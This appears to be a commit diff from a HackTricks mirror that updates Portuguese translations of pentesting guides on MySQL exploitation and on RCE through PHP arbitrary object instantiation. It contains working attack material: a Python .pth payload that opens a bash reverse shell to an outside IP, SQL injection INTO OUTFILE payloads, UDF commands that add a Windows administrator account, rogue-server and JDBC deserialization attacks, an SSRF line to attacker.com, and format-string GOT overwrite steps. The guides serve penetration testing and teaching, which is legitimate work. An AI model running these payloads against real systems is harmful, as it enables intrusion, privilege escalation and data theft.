maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/network

Browse Source
This commit is contained in:
Translator 2025-09-03 19:09:02 +00:00
parent b866f534d5
commit 2ae55a639e
6 changed files with 592 additions and 535 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

152
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,13 +4,13 @@
## **Informações Básicas**
**MySQL** pode ser descrito como um **Sistema de Gerenciamento de Banco de Dados Relacional (RDBMS)** de código aberto que está disponível sem custo. Ele opera na **Linguagem de Consulta Estruturada (SQL)**, permitindo o gerenciamento e a manipulação de bancos de dados.
**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto disponível gratuitamente. Ele usa **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados.
**Porta padrão:** 3306
```
3306/tcp open mysql
```
## **Conectar**
## **Conexão**
### **Local**
```bash
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## Enumeração Externa
Algumas das ações de enumeração requerem credenciais válidas.
Algumas das ações de enumeração requerem credenciais válidas
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -34,9 +34,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Força bruta**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Escreva qualquer dado binário
### Escrever quaisquer dados binários
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Enumeração de Permissões MySQL
### MySQL Permissions Enumeration
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -110,35 +110,35 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuração específicos do site)
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Abusando do clássico `INTO OUTFILE`, é possível obter *execução de código arbitrário* em alvos que posteriormente executam scripts **Python**.
Abusando da clássica `INTO OUTFILE` primitiva é possível obter *execução arbitrária de código* em alvos que executam posteriormente scripts em **Python**.
1. Use `INTO OUTFILE` para criar um arquivo **`.pth`** personalizado dentro de qualquer diretório carregado automaticamente por `site.py` (por exemplo, `.../lib/python3.10/site-packages/`).
2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar.
3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo, `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), a carga útil é executada com os mesmos privilégios que o processo do servidor web (FortiWeb o executou como **root** → RCE total pré-autenticação).
1. Use `INTO OUTFILE` para gravar um arquivo **`.pth`** personalizado em qualquer diretório carregado automaticamente por `site.py` (por exemplo `.../lib/python3.10/site-packages/`).
2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código arbitrário em Python que será executado toda vez que o interpretador iniciar.
3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`) o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb o executou como **root** → full pre-auth RCE).
Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessário):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Exemplo de criação do arquivo através de uma **UNION** query (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaço `sscanf("%128s")` e manter o comprimento total ≤128 bytes):
Exemplo de criação do arquivo através de uma consulta **UNION** (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaços `sscanf("%128s")` e manter o tamanho total ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Importantes limitações e contornos:
Limitações importantes & bypasses:
* `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo.
* O caminho do arquivo é resolvido **relativo ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto.
* Se a entrada do atacante for extraída com `%128s` (ou similar), qualquer espaço truncará a carga útil; use sequências de comentários do MySQL `/**/` ou `/*!*/` para substituir espaços.
* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em todos os lugares.
* O caminho do arquivo é resolvido **relativamente ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto.
* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço truncará o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços.
* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em qualquer lugar.
Após remover o `.pth`, simplesmente solicite qualquer CGI tratado pelo interpretador python para obter execução de código:
Após escrever o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
O processo Python importará o `.pth` malicioso automaticamente e executará a carga útil do shell.
O processo Python importará automaticamente o `.pth` malicioso e executará o shell payload.
```
# Attacker
$ nc -lvnp 4444
@ -147,49 +147,47 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## Leitura arbitrária de arquivo MySQL pelo cliente
## MySQL leitura arbitrária de arquivo pelo client
Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Por favor, note que este é o comportamento usando:
Na prática, quando você tenta **load data local into a table** com o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede que o **client leia o arquivo** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Observe que este é o comportamento ao usar:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Observe a palavra "local")\
(Repare na palavra "local")\
Porque sem o "local" você pode obter:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC Inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Neste artigo você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
## POST
### Usuário Mysql
Será muito interessante se o mysql estiver rodando como **root**:
Será muito interessante se mysql estiver rodando como **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Configurações Perigosas do mysqld.cnf
Na configuração dos serviços MySQL, várias configurações são empregadas para definir sua operação e medidas de segurança:
Na configuração dos serviços MySQL, várias opções são usadas para definir seu funcionamento e medidas de segurança:
- A configuração **`user`** é utilizada para designar o usuário sob o qual o serviço MySQL será executado.
- **`password`** é aplicada para estabelecer a senha associada ao usuário MySQL.
- **`password`** é usada para estabelecer a senha associada ao usuário MySQL.
- **`admin_address`** especifica o endereço IP que escuta conexões TCP/IP na interface de rede administrativa.
- A variável **`debug`** é indicativa das configurações de depuração atuais, incluindo informações sensíveis dentro dos logs.
- **`sql_warnings`** gerencia se strings de informação são geradas para instruções INSERT de uma única linha quando surgem avisos, contendo dados sensíveis dentro dos logs.
- A variável **`debug`** indica as configurações de debug atuais, incluindo informações sensíveis nos logs.
- **`sql_warnings`** controla se mensagens informativas são geradas para instruções INSERT de uma única linha quando surgem avisos, possivelmente contendo dados sensíveis nos logs.
- Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança.
### Escalada de privilégios
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -207,13 +205,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Escalada de Privilégios via biblioteca
### Escalada de privilégios via biblioteca
Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql.
Se o **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **biblioteca** para o OS que está executando o mysql.
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os de **Windows**, escolha o que você precisa.
A biblioteca maliciosa a usar pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as do **Windows**, escolha a que você precisa.
Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**:
Se você **não tem** essas bibliotecas, pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilar no linux da máquina vulnerável**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -252,29 +250,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Dica do Windows: criar diretórios com NTFS ADS a partir de SQL
No NTFS você pode forçar a criação de diretórios usando um alternate data stream mesmo quando somente existe um file write primitive. Se a clássica UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows ao criar a estrutura de pastas necessária para UDF drops.
### Extraindo credenciais MySQL de arquivos
Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto simples** do usuário **debian-sys-maint**
Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto claro** do usuário **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Você pode **usar essas credenciais para fazer login no banco de dados mysql**.
Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._
Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (os que você pode extrair de mysql.user dentro do banco de dados).
Você pode extraí-los fazendo:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Habilitando o registro
### Habilitando logging
Você pode habilitar o registro de consultas mysql dentro de `/etc/mysql/my.cnf` descomentando as seguintes linhas:
Você pode habilitar o registro de queries do mysql em `/etc/mysql/my.cnf` descomentando as seguintes linhas:
![](<../images/image (899).png>)
### Arquivos úteis
Arquivos de Configuração
Configuration Files
- windows \*
- config.ini
@ -289,14 +296,14 @@ Arquivos de Configuração
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Histórico de Comandos
- Command History
- \~/.mysql.history
- Arquivos de Log
- Log Files
- connections.log
- update.log
- common.log
## Banco de Dados/Tabelas MySQL Padrão
## Banco de Dados/Tabelas padrão do MySQL
{{#tabs}}
{{#tab name="information_schema"}}
@ -607,7 +614,7 @@ x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary\_by\_statement\_type\
x$user\_summary_by_statement\_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
@ -616,7 +623,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## Comandos Automáticos HackTricks
## Comandos automáticos do HackTricks
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -649,34 +656,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
```
## 2023-2025 Destaques (novo)
### JDBC `propertiesTransform` desserialização (CVE-2023-21971)
A partir do Connector/J <= 8.0.32, um atacante que pode influenciar a **JDBC URL** (por exemplo, em software de terceiros que solicita uma string de conexão) pode solicitar que classes arbitrárias sejam carregadas no lado do *cliente* via o parâmetro `propertiesTransform`. Se um gadget presente no class-path for carregável, isso resulta em **execução remota de código no contexto do cliente JDBC** (pré-autenticação, porque nenhuma credencial válida é necessária). Um PoC mínimo se parece com:
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
A partir do Connector/J <= 8.0.32, um atacante que consiga influenciar a **JDBC URL** (por exemplo em software de terceiros que solicita uma string de conexão) pode requisitar que classes arbitrárias sejam carregadas no lado do *client* através do parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque não são necessárias credenciais válidas). Um PoC mínimo fica assim:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Executar `Evil.class` pode ser tão fácil quanto produzi-lo no class-path da aplicação vulnerável ou deixar um servidor MySQL malicioso enviar um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma lista de permissão.
(Consulte o artigo da Snyk para detalhes)
Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma allow-list.
(Veja o write-up da Snyk para detalhes)
### Ataques de servidor MySQL falso / rogue contra clientes JDBC
Várias ferramentas de código aberto implementam um protocolo MySQL *parcial* para atacar clientes JDBC que se conectam externamente:
### Ataques de servidores MySQL rogue/fake contra clientes JDBC
Várias ferramentas open-source implementam um protocolo MySQL *parcial* para atacar clientes JDBC que fazem conexões externas:
* **mysql-fake-server** (Java, suporta exploits de leitura de arquivo e deserialização)
* **rogue_mysql_server** (Python, capacidades semelhantes)
* **mysql-fake-server** (Java, suporta leitura de arquivo e exploits de desserialização)
* **rogue_mysql_server** (Python, capacidades similares)
Caminhos de ataque típicos:
1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`.
2. O atacante controla a entrada DNS / host para que o nome do host do DB resolva para uma máquina sob seu controle.
3. O servidor malicioso responde com pacotes elaborados que acionam a leitura arbitrária de arquivos `LOCAL INFILE` ou deserialização Java → RCE.
2. O atacante controla DNS / entradas de host de modo que o hostname do DB resolva para uma máquina sob seu controle.
3. O servidor malicioso responde com pacotes forjados que acionam `LOCAL INFILE` para leitura arbitrária de arquivos ou desserialização Java → RCE.
Exemplo de linha de comando para iniciar um servidor falso (Java):
Exemplo de one-liner para iniciar um servidor fake (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo como base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Quebrando hashes `caching_sha2_password`
MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) quanto John-the-Ripper (`--format=mysql-sha2`) suportam quebra offline desde 2023. Exporte a coluna `authentication_string` e forneça-a diretamente:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Ambos Hashcat (mode **21100**) e John-the-Ripper (`--format=mysql-sha2`) suportam offline cracking desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +692,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Lista de verificação de endurecimento (2025)
• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/gravação de arquivos.
• Remova o privilégio **`FILE`** das contas de aplicativo.
• No Connector/J, defina `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio).
### Checklist de hardening (2025)
• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/escrita de arquivo.
• Remova o privilégio **`FILE`** das contas de aplicação.
• No Connector/J configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio).
• Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`).
• Monitore por declarações `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e declarações `SET GLOBAL` súbitas.
• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por comandos `SET GLOBAL` súbitos.
---
## Referências
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

70
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,16 +1,16 @@
# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Este é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Isto é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introdução
A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar à Execução Remota de Código (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
A criação de objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
## RCE via Classes Personalizadas ou Autoloading
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado ao construtor. Essas variáveis podem ser originadas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos.
Considere o trecho de código abaixo:
```php
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Neste caso, definir `$a` como `App` ou `App2` e `$b` como um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
Neste caso, definir `$a` para `App` ou `App2` e `$b` para um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
**Funções de Autoloading** podem ser exploradas se nenhuma dessas classes estiver acessível diretamente. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
**Funções de carregamento automático** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,27 +45,27 @@ include $class_name . '.php';
spl_autoload_register();
```
O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
O comportamento do autoloading varia entre versões do PHP, oferecendo diferentes possibilidades de RCE.
## RCE via Classes Integradas
## RCE via Classes integradas
Na falta de classes ou autoloaders personalizados, **classes integradas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando `get_declared_classes()`.
Na ausência de classes customizadas ou autoloaders, **built-in PHP classes** podem ser suficientes para RCE. O número dessas classes varia entre 100 e 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`.
Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Construtores de interesse podem ser identificados através da Reflection API, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE via métodos específicos inclui:**
**RCE via specific methods includes:**
### **SSRF + Deserialização de Phar**
### **SSRF + Phar Deserialization**
A classe `SplFileObject` permite SSRF através de seu construtor, permitindo conexões a qualquer URL:
A classe `SplFileObject` possibilita SSRF através de seu construtor, permitindo conexões a qualquer URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
SSRF pode levar a ataques de desserialização em versões do PHP anteriores à 8.0 usando o protocolo Phar.
### **Explorando PDOs**
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente possibilitando a criação de arquivos ou outras interações:
```php
new PDO("sqlite:/tmp/test.txt")
```
@ -75,22 +75,46 @@ Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através do
## RCE via Extensão Imagick
Na análise das **dependências de um projeto**, foi descoberto que **Imagick** poderia ser utilizado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
Na análise das **dependências do projeto**, descobriu-se que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
### Parser VID
### VID parser
A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE).
Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar à colocação de um shell PHP em um diretório acessível via web, alcançando Remote Code Execution (RCE).
#### Parser VID + Upload de Arquivo
#### VID Parser + Upload de Arquivo
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos.
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode tratar curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para gravar arquivos arbitrários no sistema de arquivos.
### Crash do PHP + Força Bruta
### PHP Crash + Brute Force
Um método descrito no [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi encontrada como eficaz apenas em uma versão desatualizada do ImageMagick.
Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que causam um crash do servidor antes da exclusão. Ao brute-forcear o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. Contudo, essa técnica foi eficaz apenas em uma versão desatualizada do ImageMagick.
## Referências
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Quando a entrada do usuário controla o nome da classe (p.ex., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor do `Throwable` onde o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle de contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF).
Padrão mínimo de reprodução vulnerável:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Resumo da exploração (a partir da referência):
- Leak endereços via `%p` no nome da classe para encontrar um alvo gravável:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Use parâmetros posicionais e especificadores de largura para definir um número exato de bytes, depois `%n` para escrever esse valor em um endereço acessível na stack, mirando em um slot da GOT (por exemplo, `free`) para sobrescrevê-lo parcialmente para `system`.
- Dispare a função sequestrada passando um nome de classe contendo um pipe de shell para alcançar `system("id")`.
Notas:
- Funciona apenas no PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigido nas versões posteriores. Severidade: crítica se existir instanciação arbitrária de classes.
- Payloads típicos encadeiam muitos `%p` para percorrer a stack, depois `%.<width>d%<pos>$n` para provocar a sobrescrição parcial.
## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

362
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -1,31 +1,31 @@
# Content Security Policy (CSP) Bypass
# Política de Segurança de Conteúdo (CSP) Bypass
